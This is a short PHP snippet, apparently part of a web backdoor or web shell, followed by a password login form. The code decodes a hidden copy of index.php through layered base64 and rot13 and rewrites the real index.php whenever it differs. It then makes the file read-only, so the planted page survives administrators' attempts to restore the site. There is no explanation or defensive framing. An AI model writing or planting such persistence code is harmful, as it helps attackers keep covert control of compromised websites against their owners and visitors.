$i_p = "index.php";
$index = file_get_contents($i_p);
$path = "{index_hide}";

if (file_exists($path)) {
$index_hide = file_get_contents($path);
$index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide))));
if(md5($index) != md5($index_hide))
{
    @chmod($i_p, 0644);
    @file_put_contents($i_p, $index_hide);
    @chmod($i_p, 0444);
}
}
<form action="#" method="post"><input type="password" name="pass" > <input type="submit" value="submit"></form>